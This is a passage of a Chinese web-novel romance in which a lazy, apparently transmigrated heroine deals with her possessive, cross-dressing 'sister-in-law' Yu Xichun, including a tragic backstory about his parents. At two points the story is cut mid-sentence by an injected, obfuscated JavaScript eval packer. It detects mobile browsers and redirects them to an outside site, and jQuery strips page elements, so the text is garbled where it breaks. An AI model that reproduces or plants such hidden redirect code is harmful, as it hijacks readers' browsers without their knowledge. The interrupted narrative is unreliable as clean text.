听见她笑,玉溪春只是颤着眼睫,竟有几分纯良地望着郁峥嵘,伸手勾着女孩的衣带,他又朝着她蹭进几分,如瀑青丝纠缠在一起。郁峥嵘身子明显僵了一下,明显不太适应和别人如此亲近。但缓缓地,她想到都是女孩子,便放松下心神,松开抓着玉溪春头发的手,轻轻覆在他脊背上,拍了拍哄着这孩子。 “江南小寡妇不好吗?”玉溪春忽然问她。郁峥嵘已经快睡着了,眼也没睁胡乱着回道:“好是好啊,但你最好别当寡妇,我哥可.......” “那你会死吗,郁峥嵘,你会不会死?”打断了她的话,玉溪春伏在她怀里,目光灼灼地盯着郁峥嵘问。等了好久,烛花都哔剥爆了一下,暗影摇曳,郁峥嵘半边脸被发丝掩着。她睡熟了,唇角抿了抿,翻身时抬起一条腿压在玉溪春腰间,双手搂着他的脖子,像是抱紧玩偶一样拍拍他说:“睡、睡觉,不死,我不死,我想睡觉。” “好。”被女孩拢进怀里,隔着薄薄一层衣衫,玉溪春完全能感受着她柔软的肌肤和起伏的曲线,合上眼睛,玉溪春感受着一股股热浪冲向自己畸形的耻辱,额角洇出密汗,昏暗的烛光下,一抹抹霞光晕开在他颊边。玉溪春耐受不住,张口咬住郁峥嵘的衣领,黏重的呼吸声中,他抬眼望着怀抱自己的郁峥嵘,心里忽然就想——你别死,只要你不死,我就不会当那什么劳什子的江南小寡妇。 34. 和病美人长嫂作对的第十年(二) 早膳郁峥嵘用得不多,只吃了几个水晶虾饺,耷拉着脑袋等郁老爷训完话,她还等着回院里再睡个回笼觉。却不曾想手腕被身侧那孩子冰凉的手指给圈住,圆润的指尖掐了下她的掌心。郁峥嵘睁大眼睛,正疑惑地望向玉溪春,就听见郁老爷严厉的咳嗽,他叹着气摇头,又对不成器的小女儿重复了一遍:“虽说女子无才便是德,但我们商贾之家不讲究那些俗节,况且前些日子溪春也说想和长荣一起去书院学习。但孤身一个女子前去只怕会不适应,刚好峥嵘你性子过于懒散,也该去书院历练历练,学些本事傍身,日后不论嫁......” “伯父........”原本垂颈听训的玉溪春忽而抬头,瞳仁里一闪而过的锋利,他挽唇眨眼间又蕴出温良的神态,抬起桌下和郁峥嵘牵在一起手,说:“伯父您且放心吧,我和峥嵘定然会相互看顾彼此的。” “不是,你们不打算问问我的意见吗?”郁峥嵘想将手抽出来,但刚拽出一个指节,又被玉溪春浅笑着攥得更紧,指缝间温凉洇出冷汗。她只好放弃,垮着肩膀对郁老爷说:“我觉得我在府里学就够了,玉溪春和我哥是情投意合,他们一对青梅竹马两小无猜,要我去煞风景嘛?” “你这孩子!嘴上也没个遮拦.......”郁夫人听这没羞没臊的话,立刻瞪了女儿一眼,而后望向玉溪春,刚想出口安抚,却见那孩子眸中冷然,偏头睨向懒散的峥嵘时,竟有些像白日里的猫眼,蕴着静候捕猎的危险。 “小妹!!你、你别瞎说,我对、我对玉小姐很尊重的,没有、没有那种心思。”郁长荣嘴里叼着包子,激动地拍案而起,脸色涨得通红,结结巴巴地解释,反而换来郁家人一顿白眼。 什么是此地无银三百两.......郁老爷头痛地捏了捏额角,深觉日后这家大业大,只怕要后继无人了。但瞟一眼差点盘腿窝到靠椅里的小女儿,郁老爷头疾更甚,无奈摆摆手,一锤定音道:“此事无需再议,我已经在书院疏通好关系了,况且沧州府近些年,许多达官贵人士族乡绅的女儿也多有进书院习文学诗,日后博得才女美名,也能嫁个更好的门第。” “是啊,峥嵘,你和溪春作伴,也能在书院多交些闺中密友,往后走动往来,也不至于整日窝在府里。”对于嫁人之事,郁夫人说不上话,但她私心还是想女儿能结交些朋友,也不至于被外头那些人整日地说性子古怪为人木讷了。 郁峥嵘无奈,明白再争辩也无用,垮着肩膀往椅子里滑,结果身侧玉溪春这死孩子又稳稳托了把她的腰,俯身凑近,目光楚楚地晕开笑道:“终于能和峥嵘一起上学了,我好开心。” 淡漠的檀香拢到身上,郁峥嵘不自在地坐直身子,离他远了些后,又见那漂亮孩子满眼落寞地望着自己,虽嗅到了几分茶香,但还在不争气,在全家人期许的目光中,抬手生涩地拍了拍玉溪春的肩膀,安慰道:“可以陪你上学,但记得课业你帮我写啊。” 玉溪春的眼睛亮了亮,立马晕开虚伪甜腻的笑,重重点了点头,全然不顾一桌子人古怪的神色。 ------------------------------------- 春柳书院虽招女学生,但男女却是分开授课。少数女子单独为一小班,由特意聘请的女夫子负责教学。郁峥嵘对此无感,总之不过是小班课上睡觉容易被发现而已。只不过玉溪春跟着她坐到靠窗最后一排时,轻蔑地扫了眼周围偷瞄打量他的贵人小姐们,对郁峥嵘说:“春柳书院名头上挂着有教无类,可偏又将女学生们圈在这一方课堂,教习一些浅显的诗文,也不过是为了日后嫁人,好陪附庸风雅的郎君们吟诵。倒真是挂着教学育人的名头,干的却是和秦楼楚馆一样的勾当。” “你这人说话好有攻击性啊.......”郁峥嵘抬了下眼皮,无奈地摆好笔墨纸砚,摇摇头又劝身旁这死孩子:“周围那些小姐多半会关注你,为人和善一点,人家都是小姑娘,没什么坏心思,平日里多和她们聊聊妆容衣钗,能结实几个闺中密友,日后多条朋友多条路。” 玉溪春听她嘟囔,噗嗤一声竟然掩唇笑了,垂眼瞧着郁峥嵘反讥:“我怎么觉得.......这些话该是我来劝你吧,毕竟,郁峥嵘,你好像真的没什么朋友。” “所以呢?”郁峥嵘头也没抬,趁着夫子来之前,掏出准备好的软垫铺到桌子上,半边脸埋进去补觉。而刚合上眼,她感受到颊边落下冰凉的摩挲,身侧的玉溪春似乎俯身过来,檀香氤氲,他勾起郁峥嵘凌乱的碎发,一点点抿到耳后。轻笑了下,那孩子阴柔的声音由近到远,黏腻道:“所以我是你唯一的朋友呀,郁峥嵘,你要记住你只有我一个朋友。” 玉溪春这孩子不好。 如果说之前在郁府,郁峥嵘隐隐约约能感觉到他对自己的敌意。那么自从来春柳书院之后,郁峥嵘几乎能确定了,玉溪春就是在和自己暗暗较劲。 说来也幼稚,在书院里,郁峥嵘和哪个同学但凡说了几句话,一同去膳堂吃了个饭,又或者郁峥嵘被哪个同窗邀请去府上做客.......不出一两日,那些原本有意和郁峥嵘交好的小姐们,都会转头和玉溪春亲近起来。 玉溪春原是个冷美人,凤眼凌艳,身姿颀长,放在江南一带这些娇小美人当中,自然凌霜胜雪,美得让人有些望而却步。但也正因为如此,若是玉溪春主动接近某人,必然会让对方不自觉就诚惶诚恐地讨好。 郁峥嵘觉得玉溪春像是个高傲的小女王蜂,只要他抬抬下巴,身边就会立刻花团锦簇。如果放在上一世,郁峥嵘身体心理都还是个十几岁的小女孩,那么可能真的会因为玉溪春而半夜躲起来偷哭。 但现在死过一次,再加上两世为人,郁峥嵘再看这死孩子的把戏,除了觉得可笑,甚至还隐隐有些轻松。刚好她也不是特别想交际应酬,有玉溪春这个挡箭牌,回府上也好给郁老爷郁夫人交代。 只不过,玉溪春纵然有美貌和手段,也挡不住有些人就不吃他那一套。胡生莲是沧州府无忧茶庄老板的长女,容貌平平,但为人干练,性格直爽。尤其看不惯玉溪春在书院孤立郁峥嵘的做派,主动上前去和郁峥嵘交谈,更常常邀请郁峥嵘去她家茶楼喝茶听曲。 这等享受之事,郁峥嵘自然乐意,只不过没料到这竟会使得玉溪春嫉恨上自己。其实也怪她心大,明明每次胡生莲坐在郁峥嵘身旁,牵着她的手说些小女儿家的秘密时,玉溪春阴郁的目光都会像毒蛇一样死死缠绕在她们交握的手上。只不过这死孩子不是个心思坦荡的人,明明每次恨得手帕都要给撕烂了,等到郁峥嵘在马车上问他是不是不开心时,偏又冷笑着挑起车帘望向街上,只留给她个淡漠的侧脸,不冷不热地讥讽道:“我为何不开心?你既自甘堕落和那样容貌才情皆为下品的女子交往,往后落个什么名声什么.......” “玉溪春,”咚的一声,书脊敲了下桌沿,郁峥嵘面无表情地打断他的话,迎着玉溪春讶然的目光,她垂眼掀了页书,警告道:“阿莲是我的朋友,我知晓她的好,所以断然不会允许有人在我面前空口白牙地污蔑她。你今日说话有些过了。” “哦?朋友?”玉溪春眼窝晕开抹红,冷白的肌肤映衬下,更显出几分诡艳。他双手撑在郁峥嵘身侧,俯身将将贴近了她,两人发丝又垂到一处。他身上那件裙衫是特意和郁峥嵘相配的烟霞色系,只不过在他身上总是更有几分浓艳光彩。这也是书院里那些个同窗认为玉溪春和郁峥嵘这对姑嫂关系微妙的原因,毕竟若不是想将对方比下去,又何必总穿相似的衣裙呢? “那我呢,郁峥嵘,我算你的什么?”背面看,玉溪春好似将郁峥嵘整个拢在怀里,他们之间虚虚隔着一指的距离,气息相闻。 郁峥嵘这时也抬眼认真地看着玉溪春,美人如刀,越是近距离便越锋利。她心头似被揪了一下,平静的眼波也泛起涟漪。抬手扶着玉溪春瘦削的肩头,她替他整理好衣服上的流苏,忽而笑了笑,目光中带着几分对这孩子容貌的欣赏,也有些无所谓,说道:“如若你没有那么讨厌我,那至少我们还算是一对虚伪的姐妹。” 玉溪春脸上的笑容悉数收敛,缓缓起身坐直身子,靛青色的瞳仁阴沉欲滴,白日他那双凤眸,观察着郁峥嵘时,某些瞬间,像猫又像蛇。 “我不会是你的姐妹,郁峥嵘,我有些时候挺恨你。” 那日马车冲突之后,郁峥嵘和玉溪春很少再说过话,郁夫人虽然察觉,但总觉得十几岁的女孩子家,赌气拈酸都是常事,过几日带着她们再去做几身衣裳,两姊妹把话说开,亲亲热热的还是半夜都要搂着一起睡。 郁长荣和郁老爷则是完全没有看出来,饭桌上还总拿玉溪春作为正面案例教训郁峥嵘。好在郁峥嵘心大,只一味地点头,话却不进耳朵。反而是玉溪春,下意识想打断郁老爷,但又在赌气,攥着筷子的指尖都被捏着惨白,最后总是谎称身体不舒服,先离开饭桌,眼不见为净。 郁峥嵘对这件事倒是看得开,其实玉溪春说着恨她,但也不过是十几岁孩子那种拧巴的心思罢了,远远谈不上恨。或许玉溪春自己都不明白,他不是恨郁峥嵘,他只是恨郁峥嵘不会用他看着她的目光,那样地看着他。 不对等的感情必然会引起痛苦,可怜玉溪春多智近妖,却也看不破自己心里苦楚的来源,反而像只困兽一样,徒劳地撕扯着自己,却始终找不到伤口。 一直从暮春到端午,玉溪春断断续续地生了场病,许多大夫来瞧,只说是郁结于心,再加上十岁那年的变故,导致玉溪春内里亏欠,这些年虽然一直温补着,到底还是落下些病根。郁夫人着急上火,一听见大夫提起心病,便急忙派下人去书院将二小姐接回来。 郁峥嵘也因此,莫名其妙被摁在了玉溪春病榻前,郁夫人苦口婆心劝说他们小姐妹快快将心里话都说开,亲亲热热地才好。知道母亲柔善的性子,郁峥嵘也不想戳破她相亲相爱一家人的幻想,只好硬着头皮转向那床榻上斜倚着的病美人。 十四岁的玉溪春斜倚着,初夏时节,他却仍在肩头披了件水墨外衫,乌发披散,几缕黏在苍白的颊边,他垂着眼睫,光影被窗扇过滤,水波一般漾过少年人的眉眼。 一种雌雄莫辨的美丽强势攫取了郁峥嵘的心神,她伸手撩开面前病美人的发丝,直到他凤眼清凌凌地望向她,郁峥嵘这才回过神来,强装镇定地反手捧住玉溪春的侧脸,屈膝跪在他被褥旁边,一板一眼地说:“瘦了,怎么能不好好吃饭呢?看你这个样子,不止我哥呢,连我这个做妹妹的都要担心得吃不下饭了。” 玉溪春断然知晓身侧这姑娘的虚伪,明眸微眯,光影变换间,他某一瞬忽而像条美人蛇,阴冷地注视着他的痛苦之源。病骨煎熬,每一个冷汗涔涔的夜晚,玉溪春喜欢赤足站在窗前,推开一条缝,沉默地看着对面那扇窗,烛光将郁峥嵘的影子拓印在窗纸上........她捧着书坐在床边,一会又盘着腿梳头,窗扇上的影子弯折,是少女压下了腰肢,她懒散地滚到床上,两条腿在空中蹬着,看书看到要紧处,又会猛地翻个身,捧着脸从指缝里一行行看过去。而后等到后半夜,困极了便直接钻进被子里,连蜡烛也懒得催,直让它燃尽。 对面的窗扇平寂下去,玉溪春也合上眼,头脑昏沉,踉跄着跌到床榻上,发丝黏着眼皮,模糊的视线被分割,支离破碎间。他却恍然又窥见了阁楼里耳畔簪花的疯女人。 玉溪春是个骗子,和他父亲玉枕逢一样,是邵兰口中的畜生。那绿云的故事是玉枕逢一厢情愿的谎言,事实是邵兰在阳下镇搭救了被仇家追杀的玉枕逢,她青梅竹马的丈夫自从年前被官府招募,运送一批军械到京都。一直到这九月上,都还未有音讯。邵兰去官府要说法,也因为丈夫是临时招募的镖师,并没有登记在册,所以次次被衙役架着赶出来。 可偏偏邵兰是个倔脾气,族中叔伯怕她再去惹事累及家人,便轮流将她锁在宅院里看守着。可这怎能难得住年少时就女扮男装上山打猎的邵兰,她趁着夜色翻墙而出,却不曾想在护城河边捡回个奄奄一息的男人。 邵兰从出生就一直生活在阳下镇,因为是长女,家中在私塾教书的父亲又体弱多病,母亲生下三妹之后便血崩而死,而父亲那个软弱的男人,也在一个秋天之后,咳血而亡,手里攥着发妻的簪子溘然长逝。所以邵兰七岁时就开始上山砍柴,插秧务农,家里家外,她几乎挑起了生计的重担。 因为父亲教邵兰认过字,所以隔壁吴勇经常会从镇上给她带些话本游记,其中邵兰最爱那些江湖儿女仗剑天涯的故事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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等弟弟妹妹长大成家就好了。邵兰强装镇定地安排着自己的人生,直到二十三岁那年,弟弟妹妹也成家了,她再次陷入巨大的茫然,而刚好,吴桂芬又告诉邵兰:“喝药,多喝药,调理好身子,生几个大胖小子,为我们老吴家开枝散叶就好了。” 邵兰松了口气,刀光剑影仗义天涯的旧梦变成结痂的伤口,永远不会好,但被她死死摁着,也永远不会流血。 可邵兰没有怀上孩子,吴桂芬也在次年合上了双眼。临终前吴桂芬也没舍得点上油灯,好在阳下镇的月光霜雪一般洒进屋里,落在吴桂芬脸上一层一层的褶子里。吴桂芬死攥着邵兰的手,喉中梗着一口气,干涸的眼睛几乎爆裂脱离眼眶。 邵兰落着眼泪,泣不成声向吴桂芬保证:“娘,对不起,我会给吴勇生个儿子的,我一定会。” 吴桂芬喉中嗬嗬有声,攥着邵兰的手并没有松开,她佝偻一辈子的腰在弥留之际,忽而绷直,像油锅里被烫熟煎熬的虾子。 咳出一口血痰,吴桂芬看着邵兰,嘶哑的气音,干尸一样的面孔,吴桂芬目眦欲裂地瞪着她,最后说:“你、你......你好好的,好........好好........不容易我.......我们........” 吴桂芬死后的第二年,邵兰的丈夫也杳无音信,阳下镇的人都说她命硬克父克母克亲人,弟弟跨江去北方去生意去了,妹妹嫁到隔壁县不常回来,这些风言风语对邵兰来说,就像别人头上的跳蚤,压根无足轻重。 邵兰自顾自地在后院养着来历不明的男人,过了一个秋天一个冬天,又一次邵兰去河里给玉枕逢抓鱼补身子的时候,他将自己的佩剑春江意送给邵兰,“我们一起回望峡山庄,你嫁给我。” 隔着厚厚的手茧,邵兰摩挲着年少梦里的江湖,春江意,她念着玉枕逢佩剑的名字,日光下剑身挥舞剑绽开一圈圈潋滟的波光。如此耀眼,如此绚丽,真是春梦一场。 “我不嫁给你,我还要回家喂鸡,地里还有稻子,玉枕逢,我不能嫁给你。” 邵兰拒绝了玉枕逢,当天夜里,她听着后院的打斗声,再次冲出去时,院里留下一片片血污,她的五只小鸡崽竟然也被割喉了。气得邵兰想笑,但看到窗台前他留下的银票和玉佩,邵兰默默收好,借着月色打扫庭院,白茫茫一片月光洒下,就好像,玉枕逢也随着自己的春梦一起,终是了无痕。 一个月后吴勇被同乡送回阳下镇,断了条腿,但保住了命。邵兰什么都没说,当天晚上炖了胶花鸡,两个鸡腿都夹给了吴勇让他吃完。吴勇一日胜过一日的沉默,他不能人道不能走路不能做事不能挣钱.......但还好,两个月后当他看到玉枕逢在月光下的院子里,又一次求邵兰跟他走的时候,吴勇从慢慢爬到轮椅里,又从轮椅里跌到,用两条胳膊爬过门槛,最后将脖子撞在邵兰平日里砍柴的斧头上。 临死前吴勇遥遥看着月光中妻子哀痛的眼神,有些遗憾地笑了。第一次,这也是吴勇第一次知道,原来砍柴的斧头这样重,可他的妻子却从七岁一直抗到了现在。 吴勇死了,邵兰被玉枕逢绑回望峡山庄。 在望峡山庄的第一年,玉枕逢准备了轰动武林的婚礼,凤箫声动,玉壶光转,满天星火下,这是一个比邵兰梦中还要辉煌的武林。 在望峡山庄的第三年,邵兰怀孕了,生下一个不男不女的怪物。大夫诊断是因为邵兰从前喝过太多土方子,毒素长年累月堆积,导致了腹中孩儿的畸形。而邵兰却对玉枕逢说这是上天对他们私奔的惩罚,于是她自囚于阁楼之上,一日一日地诵经拜佛,佛前是一盏一盏长生灯,有邵兰的母亲、邵兰的父亲,有吴桂芬,还有.......还有吴勇,而最后一盏,是她邵兰的。 在望峡山庄的第十三年,阁楼前从未间断过的绿云被血染红,三十九的邵兰推开窗扉,遥遥望着劈杀在重重围剿中的玉枕逢,她从未叫过一声丈夫的丈夫。玉枕逢也看见了她,惊痛一眼,这夜的月色真好,他看见了邵兰眼里的温柔的泪光。邵兰走下阁楼,从濒死的护卫怀里接过昏迷的玉溪春。邵兰拼尽最后的气力将孩子抱给马背上的玉枕逢,他清俊的面容横亘着刀伤,眼尾划开,一滴血洇湿了乌发。 绿云被踩作血泥,最后一朵别在邵兰耳边,她不再年轻的眼睛此刻焕发着光彩,脊背和胸口致命的刀伤仍在流血,她却从未如此意气风发,风扬起邵兰的发丝,燃烧的晨曦中,邵兰最后对玉枕逢说:“我不是一个好女人,玉枕逢........” 因为那一夜,我是存了抛下亲人,抛下阳下镇,甚至抛下邵兰.......那一夜我是真的想跟你走,只是我,只因为我,我爱你而已。 35. 和病美人长嫂作对的第十年(三) 玉溪春总想不明白父母相爱一生的结局,为何会落到那般田地。阁楼上的绿云就像一道诅咒,现在望峡山庄覆灭,故人的往事凋零,他也不想再重蹈覆辙了。 眼前虚伪的姑娘又俯身凑近了些,她抬手碰了下玉溪春的额头,刚要拿开,玉溪春忽而用力攥住她的手腕,盯着郁峥嵘腕间青紫的脉络,他无比清晰地意识到——这是触手可及的、无比鲜活的生命。 玉溪春渴望着捕猎这条生命,渴望着郁峥嵘的怀抱,渴望她毫无波澜的诵经声,也渴望她的背影,一眼瞧着就心里安定。 于是病美人勾唇笑了,露出一点牙尖,像化形的蛇妖,忽而伸出胳膊将郁峥嵘抱到自己的腿上,他泼墨似的乌发披散在两人肩头,脸颊蹭着女孩温热的脸颊,玉溪春克制着勒断她腰肢的欲念,抬眼纯良地望着郁夫人,开口轻轻道:“伯母,我不和峥嵘赌气了,我喜欢峥嵘,她今晚可以陪我睡觉吗?” 郁峥嵘晚上睡在床外侧,放下遮光的帘帐,端午节屋里熏了艾草,她有些怕热,睡觉前只穿着绸缎里衣,心烦意乱地摇着扇子扇风。而床里侧喝了药刚浅眠一会的玉溪春这会也醒了,伸手又圈住郁峥嵘的腰,他身上常年温凉,肌肤胜雪,在这闷热的夏夜里,反而像一捧雪覆在了郁峥嵘身上。 玉溪春见她低头看向自己,便顺势接过郁峥嵘手里的扇子,轻轻给她扇着风,一双凤眸,此刻清凌凌地望着郁峥嵘,问:“我给你扇扇子,你可以别讨厌我了吗?” “我没有讨厌过你。”郁峥嵘皱眉纠正他,又往下躺了一点,刚好枕在玉溪春的肩头,温热的脸颊蹭到他细长的脖颈,好似吻到美玉,顿时清爽起来。 玉溪春知道她怕热,便将头发拢起来,雪白的颈子完全袒露给郁峥嵘,他轻轻抬了抬下巴,眼中又掠过懵懂的委屈与不甘心,继续追问:“那我可以做你的朋友吗?我和胡生莲,谁是你最喜欢的朋友?” 又来了.......郁峥嵘头疼地闭上眼,因为知道玉溪春这死孩子性格执拗,凡事又争强好胜,连交朋友都要分个高下。她也不想纠缠,便敷衍地点头,搂着玉溪春的脖子将脸贴过去,舒服地哼了哼,说:“你你你,是你好吧,你是我的心肝小宝贝。” 虚伪。玉溪春的心里清晰地跳出这两个字,但温软的触感紧贴着他的肌肤,屋子里艾草、檀香还有她发间皂角的清香,又拧着麻花似的勒紧了玉溪春的脖颈。他心跳地喘不过气,冰与火浪潮般扑过后颈,漫洇到耳根颊边。他夹紧两条长腿,像蛇妖来不及藏起来的尾巴,煎熬地看着怀里渐渐贴着他降温的郁峥嵘。 他忽然想咬破她的血肉,一口一口撕烂她冷情的魂灵。可郁峥嵘又亲口说他是她的宝贝,是她的心肝。 “你骗我。”冷静地吐出这三个字,但同时,他又伸手将怀里的人搂得更紧,青丝交缠,他的鼻尖轻轻蹭过她额角的碎发,玉溪春又说:“你只骗我一个就好。” 骗我一辈子,那样最好。 ------------------------------------- 解决完“嫡长闺”的危机,玉溪春的病渐渐好了,郁峥嵘也终于能在春柳书院风平浪静地混些日子。女儿家们原本又没什么深仇大恨,如今没有玉溪春这死孩子赌气,自然是又亲亲热热地好到一处去。她们会在课间趴在窗前讨论书院里哪个小郎君最俊俏、也会围在一起做绢花,讨论着及笄之后,家里会安排嫁给怎样的一个人....... “还是溪春命好,能和未来夫君青梅竹马朝夕相处,也不必担心嫁给个素未谋面的陌生人。郁夫人郁老爷待你也如亲生女儿一般,连未婚夫的妹妹都是你的闺中密友。好羡慕啊。” 每次聊到婚嫁话题,玉溪春和郁长荣的婚约都难免会被谈及,而对此玉溪春总是神色淡淡,目光落到身侧枕着书又睡着的郁峥嵘脸上,平静回道:“我定然是嫁进郁家。” “那郁长荣真是有........” “我说,”抬眼打断同伴的打趣,玉溪春用手撩起挡在郁峥嵘颊边的一缕头发,挑眉掠过神色复杂的胡生莲,一字一句重复道:“我会嫁进郁家,只是郁家。” 玉溪春及笄礼那日,郁长荣竟然离家出走去闯荡江湖去了,虽然留下书信,说是想要闯出一番名堂,好风风光光将玉溪春娶进门。但郁老爷依旧勃然大怒,甚至口不择言要将玉溪春收为干女儿,至于那不成器的混账,死在外面才好呢。 郁夫人愧疚地去看玉溪春,却不想那孩子却神色平淡,身上是特意为及笄礼缝制的碧霞云锦裙,行动间光影流动,眉宇间清冷胜雪,身姿颀长,反而真有种雌雄莫辨的圣洁之美。 玉溪春主动劝慰郁老爷和郁夫人宽心,怀里抱着的是一丛绿云,是郁峥嵘请茶农陪她一起进山找了四五日寻来的,不过送出去时,她还是诚恳地提醒说:“按说绿云一梗双花可以开足二十瓣,单花开十瓣,但茶农说这些年绿云开花七至八瓣已经很稀少,能开满九至十瓣更是无处求觅。我按着书上记载和茶农口述,只找到这一丛,瞧着叶束有些扭曲,也可能是下山普兰吧。” 这确实不是绿云,但玉溪春坐在铜镜前,还未梳妆的病美人透过镜子望向身后的女孩,一股悲凉的宿命和窒息的心动同时袭来。他拿起剪刀,剪断自己的一缕青丝,又牵住郁峥嵘的手,在她尚未反应过来之前,剪断了少女垂在肩头的乌发。 两人的发丝缠到一处,被玉溪春埋进栽着绿云的盆土里。他抬眼望着晨光下神色惊讶的郁峥嵘,执起眉笔放到她手心,弯眸纯良地笑:“兰花以香独步天下,其幽居山间,遗世而独立,知音者方能闻其天地间至香。” 郁峥嵘还没明白,而玉溪春却已经伸出手臂搂紧了她的腰肢,光影水波般潋滟着淌过他的眉眼,玉溪春虔诚又耐心地道:“正如你之于我,我之于你。郁峥嵘,这世上,我们才是最要好。” “伯父伯母,你们无需为溪春担心。男儿志在四方,既然困不住大公子,就让他去闯闯也好。至于家中,峥嵘还在就够。书院里夫子都夸她理账算数很有条理,又细心谨慎,你们何不试着让峥嵘接手家中产业,自然如蒙不弃,我也会在旁辅佐峥嵘。” 玉溪春宽慰着二老,坐在一旁喝茶的郁峥嵘怎么也想不到话题竟绕到她这个旁观者身上,一时捏着红豆糕愣在那。直到玉溪春自然地弯腰就着她的手咬掉那半块糕点,才见这死孩子又笑盈盈地对她说:“而且如若峥嵘能接管家中产业,就能留在郁府,不必早早嫁人,受尽未知的磋磨。至于你,郁峥嵘,嫁人和管理家业,你大可以放心选一个。” 说是让她选,但郁峥嵘明显捕捉到玉溪春在说到嫁人二字时,眼里一闪而过的戾气,连带着眉头都微蹙起来。此刻他凤眸微眯,像一只盘绕在暗处等待捕猎的毒蛇。只等郁峥嵘说出错误答案,就猛地上前将她喉管咬穿。 “明德街那两家香料铺子吧,我试试,能经营得起来,再跟着爹接手家里的重要产业。” 郁峥嵘也没思考多久,仍是一副懒骨头的样子,轻拍了两下玉溪春的手背,应下道:“我只是试试啊,而且,我不保证我能早起啊。” “这有什么关系.......”眼尾愉悦地挑起,玉溪春反手攥紧郁峥嵘,笑起来露出森白的牙尖,一股残忍又天真的鬼气。他认真盯着心爱的“猎物”说:“郁峥嵘,任何你想要的,我千方百计都会捧来送给你。” 经营铺子对郁峥嵘来说,其实并没有多大难度,且不说她本身就是异世灵魂,各种花里胡哨的促销方案和经营手段几乎都见识过。更何况还有胡生莲和玉溪春抢着替她干活,两间快要倒闭的香料铺很快起死回生,连带着郁家二小姐的名声也在沧州府一带响亮起来。 郁峥嵘于是被老爹带进商会,平日里巡查铺子算账制香,都占据了她一大半的时间和精力。偶尔回府时辰还早,她就会去找玉溪春,偶尔需要躺倒他床上等一会,睡上一觉,他才会不知道从什么地方翻进屋,匆匆沐浴过,发丝半干还滴着水珠,指尖黏着若有若无的血腥味,玉溪春依恋地将脸蹭在她的肩头,轻声笑着唤她起来吃饭。 知晓玉溪春一直都在偷练心法和研习蛊毒,但郁峥嵘从来没有过问,这始终还是玉溪春自己的人生,他既然想好了也选择了,但便去做,亦和旁人没什么干系。 郁峥嵘带着玉溪春去金翠楼吃饭,戏台上歌姬腰肢柔软,肌肤胜雪,透过艳丽的纱帘,遥遥望着二楼吃饭的看客。但那目光还没掠过郁家二姑娘,就被她那弱不禁风的病美人长嫂给挡住了。 “你平日里就喜欢这样放浪的?”玉溪春如今已经高出寻常姑娘许多,少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125222|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人抽条很快,肩宽腿长,平日里穿些简洁的衣裙,勾出一把细腰,好似一把刚开刃的名剑,杀意和艳丽流连其上。 “这不叫放荡这叫妩媚,而且我再说一遍,玉溪春你这个人说话太有攻击性了,你要收敛一点。” 郁峥嵘知道这死孩子心眼小,便收回视线没再往戏台上看,专心夹了藕片放到玉溪春碗里,顺便又教训他几句。勾头沉默地嚼着藕片,玉溪春停顿片刻,像想通什么一样,眉宇舒展,抬手牵住郁峥嵘的指尖,低头用脸蹭了蹭,眼睫纤长,眼波流转,真是如梦似幻,柔软紧密地抱住郁峥嵘,他笑得天真愉悦,说:“妩媚我可以的,风情我也可以,郁峥嵘,我跳舞给你看吧,你看着我,就不要看别人了。” 艳舞是不可能跳的,虽然郁峥嵘很喜欢玉溪春的脸.......呃,或许还有细腰,不对,腿也好看,脖子也好闻........但跳艳舞还是不成,更何况,她确实迟钝,但也注意到玉溪春对自己的感情似乎有些扭曲了。 她不觉得这是什么姬恋直,只不过是年纪小,再加上未婚夫又老往外跑。这样想通之后,郁峥嵘甚至心疼起来玉溪春,自小没有亲人,一个孤女寄人篱下,再怎么照顾周全,心里只怕也是惶恐不安的。好在如今郁峥嵘接管了家里的产业,管理商铺对她来说,倒也琢磨出些窍门和乐趣。想来也该感谢玉溪春推了自己一把,所以日后这孩子若想改嫁,亦或者再遇到个心仪的对象,郁峥嵘自然会添上厚厚的嫁妆送她出门,而整个郁家,只要她还在,就永远是玉溪春的后路。 之所以没有再提郁长荣和玉溪春的婚约,也是因为前几日郁长荣在关店前匆忙闯进铺面,将怀里一个昏迷的姑娘交给郁峥嵘,看得出他们正被追杀,只怕情况紧急。而郁长荣也来不及多说,只求妹妹照顾好怀中的女子。一番真切恳求,郁峥嵘当然应下,又在郁长荣离开之后,索性直接住在店里亲自看顾了那女子三五日,等到她完全清醒之后,看过郁长荣留下的书信,于是放下心,感谢郁峥嵘收留,又请求女扮男装在香料铺里当伙计,以此躲避仇家,等到郁长荣归来。 郁峥嵘只知道女子的名字叫林澜杉,在店铺里她只喊她林三,至于其他身份过往,郁峥嵘没有问过,对待林三也只当普通伙计,没有过分照拂。 只不过每次玉溪春来店铺之时,林三亲眼瞧见郁长荣口中那个有着婚约的妹妹,本来平静的心也因为玉溪春的霞姿月貌而骤生波澜。一股无名的苦楚浸泡得她整颗心都皱巴巴的,不经意就会望着玉溪春出神。 玉溪春也不是傻子,自然能察觉到那个新来伙计黏在他身上的目光。手上仍自然地替郁峥嵘抄写香料的新配方,玉溪春却在蘸墨的一瞬间,抬眼顺势瞟了下林三,微垂的睫羽掩映着阴冷的杀意,他厌恶地收回视线,转头又在郁峥嵘抬手给他扎头发的时候,盈盈弯唇,垂下一段柔软的颈子,任凭摆布。 好在林三识趣,也会看郁峥嵘的眼色,终于没和玉溪春正面对上。直等到玉溪春拿着空食盒回府,林三才踌躇着上前去问埋头理账的郁峥嵘:“方才那个和你十分亲昵的小姐,就是长荣的未婚妻子玉溪春吗?” “嗯。”郁峥嵘头也没抬,敷衍着点了下头,就又听见她说:“玉小姐生得真美,神仙妃子也不过如此了。” 